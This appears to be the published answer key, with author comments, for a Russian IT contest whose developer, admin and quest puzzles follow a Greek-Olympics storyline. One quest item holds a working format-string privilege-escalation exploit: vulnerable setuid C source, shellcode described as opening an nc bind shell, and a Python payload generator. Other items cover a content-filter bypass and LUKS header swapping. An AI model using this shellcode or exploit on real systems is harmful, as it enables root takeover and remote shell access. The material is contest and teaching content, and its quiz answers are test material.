if "=" not in [o1, o2]:
return False
if o1 == "=":
o1, o2 = o2, o1
a, b, c = b, c, a
if o1 == "+" and a + b == c:
return True
if o1 == "-" and a - b == c:
return True
return False
def shift_match(expression):
for i in xrange(5):
for x in shift_to[expression[i]]:
exp = copy(expression)
exp[i] = x
if correct(exp):
return True
return False
def add_match(expression, original_expression):
for i in xrange(5):
for x in add_to[expression[i]]:
exp = copy(expression)
exp[i] = x
if correct(exp) and exp != original_expression:
return True
return False
def remove_add_match(expression):
for i in xrange(5):
for x in remove_to[expression[i]]:
exp = copy(expression)
exp[i] = x
if add_match(exp, expression):
return True
return False
answer = 0
for a in xrange(10):
for o1 in operators:
for b in xrange(10):
for o2 in operators:
if o1 == o2:
continue
if "=" not in [o1, o2]:
continue
for c in xrange(10):
expression = [a, o1, b, o2, c]
if remove_add_match(expression) or shift_match(expression):
answer += 1
print answer
Вопрос 5
В кафе вам на столик кто-то подбросил записку, в которой указал адрес дома в Афинах.Прибыв туда, вы обнаружили, что дверь закрыта. Замок подключен к терминалу, который по всей видимости отвечает за управление замка. Для того, чтобы открыть дверь, нужно запустить правильную программу.
Кроме того, над терминалом висит табличка с надписью: "Вы можете отправить шифрованное сообщение хозяину через программу /home/user/crypto".
Вам кажется, что с программой что-то не то. Разберитесь и откройте дверь!
Подсказка! Согласно древним традициям, греки хранят такие программы в /root.
Комментарий:
В задании предлагалось дизассемблировать и изучить программу crypto, которая является суидным рутовым бинарником, для которого, в числе прочего, доступен для исполнения стек (рандомизация стека в системе отключена). Исходный код crypto выглядел следующим образом:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFFER_SIZE 256
void encrypt(char *buf, int count) {
int i;
for (i = 0; i < count; i++) {
buf[i] = ( (buf[i] | 0x80) & ( (~buf[i]) | ~(0x80) ) );
}
}
int main() {
char buf[BUFFER_SIZE];
int len;
char *newline_pos;
FILE *out_file;
puts("Enter the text to be encrypted: ");
read(0, buf, BUFFER_SIZE-1);
buf[BUFFER_SIZE-1] = '\0';
newline_pos = strchr(buf, '\n');
if (newline_pos) {
*newline_pos = '\0';
}
len = strlen(buf);
memset(buf+len, 0, BUFFER_SIZE-len);
encrypt(buf, len);
out_file = fopen("encrypted", "w");
fprintf(out_file, buf);
return 0;
}
Для того что бы запустить программу из папки /root, необходимо добиться повышения привилегий. Рассмотрим код данной программы. Сначала с stdin считывается 255 байт, которые записываются в buf размером 256. Переполнения стека здесь нет. Затем буфер заполняется нулями, начиная с первого нуль-символа или перевода строки. После этого над оставшейся частью выполняется функция encrypt, которая занимается тем, что совершает операцию xor с 0x80 над каждым байтом из буфера. После проделанных операций строка из буфера заботливо складывается в файл с помощью функции fprintf. Этот буфер передается в fprintf как форматная строка, а значит, скорее всего, можно использовать уязвиомсть флрматно строки.
С помощью правильно подобранного буфера возможно переписать любой байт в нашей памяти, куда разрешена запись. Дальше все ясно - перезаписываем адрес возврата из main на buf, в котором располагаем шеллкод. Вредоносный код может быть любого содержания, но в нем не должно быть байтов 0x80, а значит, нельзя использовать int 0x80 (так как после xor на месте байта с 0x80 будет стоять 0, который будет считаться концом буфера). Тут вполне можно обойтись вызовом функций из glibc или командой syscall.
Приведем эксплойт для данного задания, шеллкод которого запускает `/bin/nc -lp8080 -e/bin/sh` через int 0x80
execve_sh.S
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
shellcode.S
# Данный код в процессе исполнения модифицирует сам себя, для того, что бы организовать вызов int 0x80.
# 0x80 в шеллкоде заменен на 0x7f, начало данного кода инкрементирует этот байт.
_start:
jmp hp
shell:
pop %eax
# Такой подход применен, так как sub организовал бы нулевые байты.
.rept 6
dec %eax
.endr
movl (%eax), %ebx
inc %ebx
mov %ebx, (%eax)
# execve_sh.S
.byte 0x31,0xc0,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x53,0x89,0xe1,0xb0,0x0b,0xcd,0x7f
hp:
call shell
exploit.py
# coding: utf-8
# Эксплойт принимает как аргумент адрес возврата из main, и генерирует строку, которую необходимо дать на вход crypto.
import sys
from libformatstr import FormatStr
# https://github.com/hellman/libformatstr
# Спасибо Hellman за отличную библиотеку для генерации эксплойтов форматной строки
RUN= """
/root/open_door
"""
BUFFER_SIZE = 255
xor = lambda str: ''.join( [ chr(ord(c)^0x80) for c in str ] )
ret_address_place = int(sys.argv[1], 16)
ret_address = ret_address_place - BUFFER_SIZE + 30
format_str = FormatStr()
format_str[ret_address_place] = ret_address
format_exploit = format_str.payload(4)
shellcode = "\xeb\x2d\x58\x48\x48\x48\x48\x48\x48\x8b\x18\x43\x89\x18\x6a\x0b"
shellcode += "\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
shellcode += "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x7f\xe8"
shellcode += "\xce\xff\xff\xff"
filler = "\x90" * ( BUFFER_SIZE - len(shellcode) - len(format_exploit) )
sys.stdout.write( xor( format_exploit + filler + shellcode ) + RUN )
Осталось только залить код в JSLinux и подобрать адрес стека. Так, при решении задания автором, работало `python2.6 /tmp/exploit.py 0xbffffdac | /home/user/crypto`
Вопрос 6
Открыв дверь, вы попадаете в темный коридор, в конце которого - очередной терминал. В нем в текущей папке лежит файл smile. Где же ключ?
Комментарий:
Если сделать cat на данный файл, экран начнет мигать, после чего на экране появится смайлик. Задание очень простое: данный файл - набор esc-последовательностей для терминала, а примерно в середине файла находится блок, который выводит ответ и затем тут же затирается. Следует правильно обрезать файл для того, чтобы увидеть ответ. Найти блок легко, так как в основном в файле лежит мусор. Если прогнать файл через hexdump, не сложно найти место, в котором данные явно отличаются от остальных.
Вопрос 7
Пройдя дальше, вы оказываетесь в просторном помещении, заставленном разным оборудованием. Здесь вы находите заблокированный терминал. Чтобы его разблокировать, нужно найти правильный ответ.
Вам дан файл. С его помощью вы сможете найти ответ. Найдите ответ и разблокируйте терминал.
Комментарий: Вам дан файл на Perl, который принимает вход, состоящий из 10 цифр, на основе которых рассчитывается массив @s. Введенные цифры должны быть подобраны таким образом, чтобы @s стал магическим квадратом (http://en.wikipedia.org/wiki/Magic_square). Полученная последовательность является ключом от зашифрованных данных, которые являются ни чем иным, как... кодом на Haskell!
Разберем его. Функция g(f, s, l) возвращает последовательность вида {s, p(s), p(p(s)), ..., p(p(...p(s)...))} из l элементов. s(s) применяет к s перестановку {1, 3, 7, 4, 9, 8, 6, 2, 5, 0}. Функция x(t) принимает последовательность и возвращает строку, состоящую из первых символов элементов последовательности. Функция с(p) сравнивает некоторое значение с x(g(md5, p, 32)), а cc(p) сравнивает другое значение с x(g(s, p, 10)). Функция e(t) возвращает строку t, сконкатенированную с перевернутым t. В c(p) отправляются первые e(5 символов из входа), в cc(p) - e(остаток входа без первых 5 символов). После нахождения правильного pin, на экран выведется подсказка к ответу: "Answer is concatenation of pins!", то есть ответом к заданию будет строка, состоящая из 20 цифр, - конкатенации pin1 и pin2.
Вопрос 8
Вдруг в помещение врывается непонятный человек. Он злится и ругается. Похоже, ему нужна ваша помощь.
Дан код на Python. Без вашей помощи непонятный человек не может в нем разобраться. Внесите изменения в основной класс и получите ответ. Изменения в другие классы могут дать ошибочный ответ.
Комментарий:
Скачав исходный код, можно заметить, что он находится в забавной кодировке rot13.
Скрипт отлично исполняется, но понять, что там происходит затруднительно, поэтому для начала конвертируем код в нормальный utf8.
Просто исполнение скрипта нарисует симпатичный логотип ITStarz.
После прочтения исходного кода, мы увидим, что основной класс содержит метод run.
Выполним метод. К логотипу будет добавлен вывод The Zen of Python.
Понятно, что сам класс ничего не делает и нужно смотреть в метакласс, который меняет поведение класса, если в нем определен атрибут secret. Добавим атрибут и увидим, что мы убили несколько котят :(. Кроме того, заметим подсказку, о том что какой-то метод был задекорирован.
Разобравшись в хитросплетениях декораторов, классов, их наследования и переопределения дефолтных методов будет понятно, что ларчик открывается очень просто. При помощи интроспекции одна из функций проверяет наличие атрибута end, добавление которого дает нам правильный ответ.
Публикуем правильные ответы на задания конкурса с комментариями авторов.
ТЕСТ - АДМИНЫ
Вопрос 1
Системный администратор Атанасиос хочет по протоколу Wake-On-LAN разбудить компьютер, который находится за несколькими маршрутизаторами в IPv4-сети. Как следует отправить пакет?
- На IPv4-адрес компьютера, который следует разбудить.
- На 255.255.255.255.
- На широковещательный адрес сети назначения.
- Такой пакет по IPv4 послать невозможно.
Вопрос 2
Системный администратор Атанасиос хочет по протоколу Wake-On-LAN разбудить компьютер, который находится за несколькими маршрутизаторами в IPv6-сети. Как следует отправить пакет?
- На IPv6-адрес компьютера, который следует разбудить.
- На FF02::1.
- На широковещательный адрес сети назначения.
- Такой пакет по IPv6 послать невозможно.
Вопрос 3
У вас есть гигабитная сеть. Для того чтобы проверить нагрузку, вам нужен файл, который на такой скорости может скачиваться минимум три часа, после чего закачка должна завершиться. Сделайте такой файл и расположите его в каталоге /tmp под именем bigfile.
Комментарий: 1 гигабит/с - это 10^9 бит, то есть 125000000 байт/сек. Умножаем это на 3 часа (1 час - 3600 сек.): 125000000*3600*3 = 1350000000000. Это около 1.3 Терабайт. Под такой файл вряд ли найдётся место, поэтому сделаем sparse-файл (http://ru.wikipedia.org/wiki/Разрежённый_файл). Самый простой способ сделать это:
truncate -s 2T /tmp/bigfile
Впрочем, способ из википедии (через dd) ничуть не хуже. Также можно написать программу, которая просто открывает новый файл и делает lseek() на нужную позицию, после чего закрывает файл. Некоторые участники пытались выполнить задание с помощью fallocate, однако, эта утилита, вместо sparse-файла, пытается выделить место в файловой системе, но без заполнения файла нулями, что невыполнимо в наших условиях.
Вопрос 4:
Каких пакетов не бывает непосредственно внутри PPTP-туннеля?
- ICMP
- PIM
- ARP
- NTP
Вопрос 5
Системный администратор Василиас устроился на новую работу и первым делом решил понять, как работает корпоративная сеть.
От предшественника ему осталась схема маршрутизации, нарисованная неровной рукой на мятом клочке бумаги.
Через маршрутизатор прошли пакеты со следующими IP заголовками:
45 00 00 3d 0f 6d 40 00 40 11 1c 63 1f 50 8b 18 0a 50 5a 28 ...
45 00 00 26 be 16 40 00 40 11 f8 e6 0a 00 a8 c0 10 0a c0 ff ...
45 00 00 54 00 00 40 00 40 01 30 8d 0a 50 3e 23 c0 a8 01 01 ...
45 00 00 26 41 1e 40 00 01 11 ba 3f 0a 00 a8 c0 c0 a8 0b 01 ...
На сколько увеличатся счетчики отправленных пакетов на интерфейсах маршрутизатора?
Ответ вводить в следующем формате: ppp0=x ppp1=x ppp2=x
Комментарий:
Разберем пакеты:
UDP 31.80.139.24 -> 10.80.90.40
UDP 10.0.168.192 -> 16.10.192.255
ICMP 10.80.62.35 -> 192.168.1.1
UDP 10.0.168.192 -> 192.168.11.1 TTL=1
Первый пакет уйдет через интерфейс ppp1, второй через ppp0, третий через ppp2. А вот с четвертым пакетом нужно быть внимательным, так как он имеет TTL = 1. На маршрутизаторе TTL станет равным 0, а значит, данный пакет отбрасывается, а отправителю отсылается ICMP-пакет с кодом 11 (превышение TTL). Следовательно, счетчик отправленных пакетов увеличится не на ppp2, а на ppp1.
Вопрос 6
Однажды, далеко за полдень, вы обнаружили, что
`cat file | while read line; do echo $line; done`
и
`while read line; do echo $line; done <file`
значительно отличаются по производительности.
Почему?
- В первом варианте запущены два процесса, это сильно замедляет работу.
- Обработка перевода строк производится по-разному.
- Чтение из файлов медленнее, чем из pipe.
- Чтение из pipe происходит по одному символу, это слишком медленно.
Правильный ответ - "Чтение из pipe происходит по одному символу, это слишком медленно". Это, в свою очередь, происходит из-за того, что BASH пытается прочитать данные из PIPE таким образом, что при последующем чтении другим процессом из этого же PIPE не произойдёт потери данных. Если бы BASH читала из PIPE поблочно, то данные после первой прочитанной строки? были бы потеряны (их никто не может использовать, т.к. они в памяти BASH, положить их обратно в PIPE нельзя, seek() назад в PIPE сделать нельзя). Убедиться в таком поведении можно с помощью strace. При программировании на Си такое поведение регулируется способом буферизации stdin (man 3 setvbuf).
Вопрос 7
Технология DPI (Deep Packet Inspection) все более активно используется крупными компаниями и операторами связи для решения различных задач.
Выберите варианты, корректно описывающие возможности технологии:
- Реализация различных схем QoS (например, для шейпинга торрент-трафика)
- Анализ содержимого шифрованных HTTPS-пакетов
- Блокирование определенных видов трафика (например Skype, SIP)
- Ускорение передачи трафика за счет сжатия jumbo-пакетов
- Защита от DDoS-атак, контент-фильтрация, блокирование вирусов
- Возможность создания значительно более высокопроизводительных решений в сравнении с традиционными методами анализа трафика (прокси-сервера, пакетные файрволлы и др.)
Часто DPI-системы используются для выяснения настоящего протокола вне зависимости от порта. Это позволяет строить эффективные системы QoS.
DPI сама по себе не позволяет расшифровывать SSL-соединения. Это можно сделать как с использованием DPI-систем, так и без таковых (например, Squid + SSLBump).
DPI (Deep Packet Inspection) применяется как для IDS (Intrusion Detection System), так и для IPS (Intrusion Prevention System). IPS может блокировать трафик.
Использование Jumbo-пакетов с DPI вообще не связано, тем более, с их сжатием. =)
DPI позволяет благодаря более полному разгребанию трафика выявить атаки (отличить от реальной большой нагрузки), может выбирать реальные пользовательские данные (скажем, ICQ-сообщения), таким образом дать исходные данные для систем контентной фильтрации или же для антивирусных систем.
Стек операционной системы делает слишком много ненужных для работы DPI операций, отнимая процессорное время и память. DPI-системы не используют сетевой стек операционной системы и, поэтому, крайне эффективны в плане производительности.
Вопрос 8
Весной 2013 года некоммерческая организация Spamhaus подверглась самой серьезной в истории Интернет DDoS-атаке мощностью 300 Гбит/сек. К расследованию инцидента пришлось привлечь спецслужбы нескольких стран.
Выберите корректный вариант, объясняющий принцип работы метода DNS Amplification Attack, который использовался для нападения на компанию.
- Атака DNS Amplification использует промежуточные DNS-сервера для генерации больших потоков трафика в сторону серверов жертвы, и эффект "плеча", который позволяет усилить исходящий трафик в десятки раз.
- Суть атаки заключается в бомбардировании DNS-серверов компании-жертвы множеством спуфинговых DNS-запросов из распределенной сети ботнетов. В результате работа всех сетевых сервисов компании блокируется, так как клиенты не могут разрешить принадлежащие ей домены.
- Для осуществления атаки на Spamhaus, использовалась уязвимость протокола DNS. Так как все запросы к серверу имен являются принципиально анонимными, злоумышленники могут отправить с адресов публичных сетей большое количество запросов на DNS-сервера компании-жертвы, и после срабатывания автоматической блокировки этих подсетей, даже вполне благонадежные клиенты не смогут обращаться к серверам компании из-за блокировки.
- Обычно у компаний нет своего DNS-сервера. Для этого используются сторонние сервисы. Они изначально рассчитаны на работу с большими нагрузками и имеют защиту от различных атак, заспуффить их почти невозможно. Поэтому данный метод никто не использует.
- В интернете много Open DNS Relay (Десятки тысяч). К ним могу делать запросы кто угодно. Протокол DNS позволяет подделывать IP-адрес источника и другие поля для обеспечения действенности атаки. Один короткий пакет приводит к отправке большого пакета на сервер-жертву.
- Аналогично первому варианту. Описанная ситуация не соответствует атаке Amplification Attack.
Вопрос 9
На одном сервере системный администратор Димитриос нашел пустой файл /tmp/secret, но его терзают сомнения, что все не так просто. В этом файле должно быть секретное число! Помогите Димитриосу узнать это число. Узнав это число, введите команду: answer <число>
Комментарий:
После анализа ситуации можно понять, что:
- Поверх /tmp/secret замонтирован другой файл.
- Этот другой файл удалён.
- Нужный файл находится на той же файловой системе, что и /tmp.
mkdir /tmp/somedir
mount --bind /tmp /tmp/somedir
cat /tmp/somedir/secret
Это работает, потому что при выполнении mount --bind вложенные точки монтирования не переносятся, а значит мы можем получить доступ к перекрытым файлам.
Вопрос 10
Чтобы избежать расщепления мозгов в отказоустойчивом кластере вам понадобится:
- HAPM
- STONITH
- HPCx
- FhGFS
Избежать расщепления мозгов можно с помощью STONITH.
Вопрос 11
Вот беда! Вы забыли root-пароль на одном из своих серверов. Для его восстановления вы перезагрузили сервер и зашли с помощью init=/bin/bash.
До изменения пароля вы настроили сеть, запустили ping и решили отменить выполнение команды сочетанием клавиш <Ctrl+C>.
Однако кроме отображения символов ^C ничего не произошло.
Почему?
- Bash запущен на устройстве /dev/console, которое не является терминалом.
- За обработку буфера обмена отвечает процесс gpm, который не запущен.
- За обработку сочетания <Ctrl+C> отвечает процесс getty, который не запущен.
- В keymape’е по умолчанию не обрабатывается клавиша Ctrl.
Вопрос 12
Скучая в обеденный перерыв админ Георгиос заметил, что у него в сети гуляют VPN-пакеты. Он решил разобраться в ситуации. Помогите Георгису определить, что скорее всего лежит внутри данного IPv4-пакета.
0000 45 00 00 5d a6 0f 40 00 40 2f 5f a1 0a 50 3e 23
0010 52 c1 99 8d 30 81 88 0b 00 39 0a 00 00 00 01 d0
0020 00 00 01 5f fd 91 60 fc 98 4c 72 0d 7b 82 09 27
0030 4e 65 70 96 ed cb d4 18 eb 43 f5 30 84 86 4b 4f
0040 ee b6 0e e0 66 97 45 77 7c 6d 93 72 41 25 db 24
0050 3f 3c 32 a4 5b 7b a9 5b 2f 17 1c 6f cd
- scp
- tcp-ack
- smb
- ping
Вопрос 13
Вам необходимо связать два сервера по протоколу IPv6. Между ними находится маршрутизатор без поддержки этого протокола.
На одном сервере нужно настроить
fec0:...:1
А на другом такой же IPv6-адрес, но с последним байтом 10 (fec0:...:10).
Ответ будет засчитан, как только связь по IPv6 между серверами появится.
Комментарий:
Стандартная процедура настройки IPv6 туннеля:
ip tunnel add admin2013 mode sit local 5.6.7.8 remote 1.2.3.4
ip addr add fec0::1/64 dev admin2013
ip link set up dev admin2013
Вопрос 14
Вам необходимо поднять локальную сеть.
Какую подсеть лучше всего выбрать?
- 12.10.2.0/24- Неправильно. Это публичная сеть.
- 192.168.1.0/16 - Неправильно. Маска сети больше, чем сам адрес сети.
- 10.8.0.0/14 - Правильно. Нестандартная маска может смутить, но все, на самом деле, верно.
- 172.16.0.0/16 - Неправильно. С виду верно, но по rfc допустимая маска для данного адреса только 12. Выше 12 маски - публичные адреса.
Вопрос 15
Админ Димитрий писал очень важную спецификацию в своем любимом vim.
Посреди ночи он отошел за чаем на кухню буквально на пару минут, и вернувшись обнаружил, что его кот прошелся по клавиатуре, испортил файл и даже умудрился закрыть его!
К счастью, Димитрий логирует консоль, и у него осталась последовательность символов, введенных в vim котом.
Помогите Димитрию восстановить файл (<ENTER> - нажатие клавиши ENTER).
В задании было предложено скачать испорченный файл
Последовательность символов: 3jWdw/doc<ENTER>PZZ
Комментарий:
Последовательность нажатых клавиш: 3jWdw/doc<ENTER>PZZ
3j - Спустится на 3 строки вниз.
W - переместится на начало следующего слова.
dw - удалить следующее слова (удаленные области в vim складываются во внутренний буфер).
/doc<ENTER> -найти слова, начинающиеся с doc. Такое слово всего одно во второй строке. После этой команды мы окажемся в начале слова.
P - вставить из буфера перед курсором.
ZZ - закрыть файл с сохранением.
То есть все, что нужно сделать - вырезать слово перед словом document и вставить его после первого слова в строке 4. Можно даже предложить обратную последовательность: j4Wdw2j0WPZZ
Вопрос 16
У одного пользователя провайдер настроил примитивный контент-фильтр. Конечно же у пользователя сломалось обновление его любимой программы. Пользователь негодует и утверждает, что во всем виноват админ веб-сервера.
Но мы-то знаем что это не так!
До провайдера не дозвониться, доступа к компьютеру пользователя нет. Однако, известно, что его программа постоянно пытается скачать файл с вашего сервера по URL: http://1.2.3.4/data.dat
После долгих разбирательств вы поняли, что контент-фильтр не пропускает пакеты в которых есть слово: test
Менять содержимое файла нельзя. Перезапускать или останавливать веб-сервер нельзя.
Ответ будет зачтен после того, как у пользователя файл все-таки скачается в полном объёме.
Комментарий:
Из условий задачи решение о блокировке принимается попакетно. Таким образом, нужно сделать так, чтобы в одном пакете не встретилось слово test. Это легко достижимо с помощью подбора MTU на сетевом интерфейсе. При правильно подобранном MTU граница TCP-пакета окажется между буквами слова test, и такой примитивный контент-фильтр не сработает. С помощью tcpdump можно выяснить размеры пакетов, подправить MTU и задача решена.
КВЕСТ - АДМИНЫ
Вопрос 1
Вы прибыли в Грецию на Первые Айтишные Олимпийские Игры. Небольшая разминка. Есть bmp-изображение, в котором содержится ответ на это задание. Найдите его.
Комментарий:
Дано изображение горгоны Медузы ("Медуза", работа Караваджо) в формате bmp. Такое впечатление, будто Медуза что-то говорит. Вспомним формат bmp - по смещению 18 лежит 32-битное значение в little-endian, отвечающее за высоту изображения в пикселях. Для данного изображения по этому смещению лежит положительное значение, а значит картинка отрисовывается снизу вверх. Далее необходимо только увеличить это значение чтобы увидеть ответ.
Вопрос 2
Служащий аэропорта просит вас помочь. Он работал над файлом /tmp/important и случайно удалил его. Но файл остался открытым в программе. Служащему не особо важно содержимое этого файла, но очень нужно узнать, когда последний раз было изменено содержимое файла.
Ответ принимается в виде команды: answer <timestamp>
Например, answer 345698384.
Небольшая подсказка: служащий аэропорта помнит, что этот файл изменяли очень-очень давно.
Комментарий:
1. Найти процесс, открывший данный файл (например, lsof или ls -l /proc/[0-9]*/fd/* | fgrep important).
2. Если сделать просто stat /proc/xxx/fd/yyy то мы увидим дату изменения самой символической ссылки, а это явно не то что нужно.
3. Нужно сделать stat -L /proc/xxx/fd/yyy, либо, что более сложно, создать пустой файл AAA, выполнить mount --bind /proc/xxx/fd/yyy AAA, а затем stat AAA.
4. Кроме того, нужно получить timestamp именно дату модификации (%Y), а не дату изменения (%Z)
Вопрос 3
По дороге из аэропорта вы немного поработали на ноутбуке. Спустя некотороые время вы внезапно обнаружили, что у ноутбука садится батарея. Сейчас вам необходимо корректно завершить работу системы, но устройство /dev/loop0 занято.
Срочно освободите его.
Комментарий:
Основная загвоздка была в том, что losetup был занят файлом, который использовался как swap. Этот файл удалили, но ссылка на него осталась в команде sleep. Таким образом, этот файл "держат" как команда sleep, так и подсистема SWAP. К сожалению, если убить команду sleep, освободить файл не удастся, так как отключить SWAP можно только при наличии ссылки на файл.
Те, кто заметил процесс sleep, пытались его убить и приводили систему к нерешаемому варианту. Поэтому нужно было сделать swapoff /proc/<pid_of_sleep>/fd/0, а только затем убивать sleep и освобождать losetup. На будущее мы придумали способ скрывать список команд, которые подготавливают вирт. машину, поэтому подсмотреть команды в следующий раз будет очень непросто. =)
Вопрос 4
Добравшись до центра города, вы останавливаетесь в маленьком уютном кафе пообедать. Обед - удачно время для небольшой тренировки.
У вас есть набор IP-адресов. Что в них спрятано?
Коментарий:
Данные ip адеса - побайтовая запись перевернутой utf-8 строки. Все что нужно сделать - перевести октеты в байты, декодировать в utf-8 и развернуть, получится строка вида "Ваш ответ: MD5". Данный md5 и является ответом. Многие пытались сдавать в качестве ответа число x, где MD5 = md5(x), поэтому участникам, приславшим это число, мы тоже засчитывали задание.
Вопрос 5
В кафе вам на столик кто-то подбросил записку, в которой указал адрес дома в Афинах. Прибыв туда, вы обнаружили, что дверь закрыта. Замок подключен к терминалу. Похоже, перед вами очередная головоломка.
Есть архив. в В нем дерево каталогов и полное безумие с кодировками. От вас требуется прислать точно такой же архив, в котором все каталоги перекодированы в UTF-8.
Комментарий:
Был дан tar архив с большоим количеством папок, имена которых были в различных кодировках. Необходимо было определить кодировку каждого имени и перевести в utf-8. Проблема в том, что некоторые папки имели одинаковые имена в utf-8. Так как просили прислать точно такой же архив, но с кодировками имен в utf-8, необходимо вспомнить про особенность tar, благодаря которой в одном архиве можно хранить файлы с одинаковыми именами. Добавить дублирующий файл можно с помощью команды:
tar --append --verbose --file=name.tar filename
Вопрос 6
Открыв дверь, вы попадает в темный коридор, в конце которого - очередной терминал. В нем вы находите файл с дампом сетевой активности. Скорее всего, с помощью этого дампа вы сможете найти ключ, который откроет вам путь дальше.
Ответ необходимо ввести на русском языке.
Коммментарий:
В этом файле несколько потоков данных. Проанализировав каждый из них, среди ненужных данных можно найти поток данных PCL, отправленных на некоторый принтер (что можно понять из номера порта TCP). Берём какое-нибудь средство для рендера PCL и видим картинку, на которой написан ответ.
Вопрос 7
Пройдя дальше, вы оказываетесь в просторном помещении, заставленном разным оборудованием. Здесь вы находите заблокированный терминал. Чтобы его разблокировать, нужно найти правильный ответ.
Вам дан архив с двумя дисками. Пароль от original.img - Jupiter. На диске xxx.img хранится ответ в явном виде. Найдите его и разблокируйте терминал.
Комментарий: Даны образы зашифрованных LUKS-дисков. С помощью cryptsetup luksDump можно понять, что хедеры у обоих образов одинаковые, а значит ключ от original подойдет к xxx. Поэтому достаточно скопировать заголовок original в xxx и смонтировать последний с помощью данного пароля.
dd if=origin.img of=xxx.img bs=1M count=1 conv=notrunc
echo Jupiter | cryptsetup luksOpen xxx.img crd
mount /dev/mapper/crd /mnt
cat /mnt/answer
Полученный md5 является паролем от оригинального xxx.img, а так же ответом. (Как и в случае с заданием про IP, мы принимали так же x, где MD5=md5(x).
Вопрос 8
Вдруг в помещение врывается непонятный человек. Он злится и ругается. Похоже, ему нужна ваша помощь.
В терминале не работает сеть. Надо достучаться до ip 1.2.3.4. Этот сервер слушает на порту 1234 и ждет подключения. Как только подключение будет - вы увидите у себя в консоли success.
Это значит, что задание выполнено правильно.
Комментарий:
Так как система загружается из сохранённого состояния (hibernate), то довольно затруднительно понять, какими именно командами конфигурировалась сеть. Впрочем, не сложным перебором можно найти причины блокировки трафика. В действительности, вот список команд которыми заблокировали трафик:
- iptables -P OUTPUT DROP
- iptables -t raw -P OUTPUT DROP
- iptables -t mangle -P OUTPUT DROP
- iptables -t nat -A PREROUTING -d 1.2.3.4 -j DNAT --to-destination 127.0.0.1
- iptables -t mangle -A OUTPUT -j MARK --set-mark 0x2
- ip route add blackhole 1.2.3.4 table 102
- ip rule add fwmark 0x2/0x2 lookup 102
- ip xfrm policy add src 0.0.0.0/0 dst 1.2.3.4/32 dir out ptype main tmpl src 5.6.7.8 dst 127.0.0.1 proto esp mode tunnel
- tc qdisc add dev sl0 root netem loss 100%
ТЕСТ - РАЗРАБОТЧИКИ
Вопрос 1
Кто изображен на фотографии?
- Alexey Navalny
- Linus Torvalds
- Bill Gates
- Lennart Poettering
Вопрос 2
Запишите следующее выражение в обратной польской нотации: (a+b)*c^d^e-f/(g+h/i)
Комментарий:
Предложено записать выражение в обратной польской нотации, известной многим ещё со школы. Небольшой подвох этого задания - используется операция возведения в степень (^), которая, как известно, обладает свойством правой ассоциативности.
В исходном выражении "c^d^e" вычисляется в порядке "c^(d^e)", поэтому обратная польская запись будет выглядеть как "cde^^". В свою очередь, запись "cd^e^" будет интерпретироваться как "(с^d)^e". Один из вариантов правильного ответа: "ab+cde^^*fghi/+/-". Из-за коммутативности операций сложения и умножения, правильных ответов несколько.
Вопрос 3
Молодой программист Андреас пытался написать свое первое регулярное выражение, с помощью которого хотел достать все строки, лежащие между ближайшими угловыми скобками (< и >). Вначале он написал регулярное выражение <(.*)>. Но оказалось, что для строки <dfd>> оно возвращает не dfd, а dfd>.
Помогите Андреасу: добавьте в регулярное выражение один символ, чтобы он заработал правильно.
Комментарий:
Квантификатор "*" в популярных движках регулярных выражениях обладает свойством жадности, поэтому под выражение будет подходить максимально длинная строка из возможных. Для того что бы этого избежать, можно использовать ленивые квантификаторы. Соответствующий ленивый квантификатор для "*" это "*?"
Вопрос 4
Начинающие программисты Нелий и Нестор разбирали исходники одной известной компьютерной игры для платформы x86 и наткнулись на странный код.
float func( float a )
{
long b;
float c, d;
const float e = 1.5F;
c = a * 0.5F;
d = a;
b = * ( long * ) &d;
b = 0x5f3759df - ( b >> 1 );
d = * ( float * ) &b;
d = d * ( e - ( c * d * d ) );
return d;
}
После долгих размышлений они поняли, что данная функция дает результаты, близкие к некоторой известной математической функции. Помогите им посчитать значение этой математической функции в точке 1.2345 с точностью 8 знаков после запятой.
Комментарий: В задании приведен слегка обфусцированный код функции быстрого инверсного квадратного корня из исходников игры Quake III Arena, который выдает значения, близкие к 1 / sqrt( x ). Алгоритм легко опознается по магической константе.
Вопрос 5
Программист Панайотис, бороздя просторы интернета, попал на загадочную веб-страницу, на которой была размещена форма без комментариев.Покопавшись в коде страницы, Панайотис понял, что форма принимает слово, подходящее под следующее регулярное выражение.
/^((([a-zA-Z]([a-zA-Z0-9_-]{0,61}[a-zA-Z0-9])?)|(([a-zA-Z0-9][a-zA-Z0-9_-]{0,61})?[a-zA-Z]))[.])+[a-zA-Z]+$/
На соответствие чему проверяет данное регулярное выражение?
Комментарий: Данное регулярное выражение проверяет, является ли строка доменным именем.
Вопрос 6
Директор обратился к вам с необычной задачей. Он принес описание таинственного алгоритма и потребовал посчитать по этому алгоритму значение от строки: And no more shall we part.
Посчитайте.
Комментарий: Данный алгоритм ни что иное, как sha256. Достаточно было догадаться и посчитать с помощью любых доступных средств.
Вопрос 7
Перед вами куски кода, написанные на разных языках. Сопоставьте код и язык.
Вариант1
main = do putStrLn "Hello, world."
Вариант2
package main
import "fmt"
func main() {
fmt.Printf("Hello, World\n")
}
Вариант3
object PrintOptions
{
def main(args: Array[String]) : Unit =
println("Hello, World!\n")
}
Вариант4
import std.stdio;
void main() {
writeln("Hello, World!");
}
Вариант5
-module(hello).
-export([hello_world/0]).
hello_world() -> io:fwrite("Hello, World\n").
Комментарий:
В данном задании представлены различные helloworld'ы на различных языках, почти все примеры можно найти в википедии на страницах представленных языков
Вопрос 8
crc32(salt + 'away') = 0xCB2A3B76
crc32(salt + 'molt') = 0x58D674F6
crc32(salt + 'coat') = 0x0DA77D88
crc32(salt + 'owly') = ???
Комментарий:
Вначале следовало заметить, что "away" ^ "molt" ^ "coat" = "owly" ("^" - операция xor). У алгоритма crc32 есть интересное свойство: crc32(a ^ b) = crc32(a) ^ crc32(b) ^ crc32(z), где длины a и b равны, z - строка из n нулей, где n - длина строки a. Из этого замечания следует, что: crc32(a ^ b ^ c) = crc32(a) ^ crc32(b) ^ crc32(с), где длины a, b и c равны. Хотя, конечно же, можно было решить и подбором.
Вопрос 9
Почему необходимо инициализировать значением локальные переменные перед использованием в языке C89?
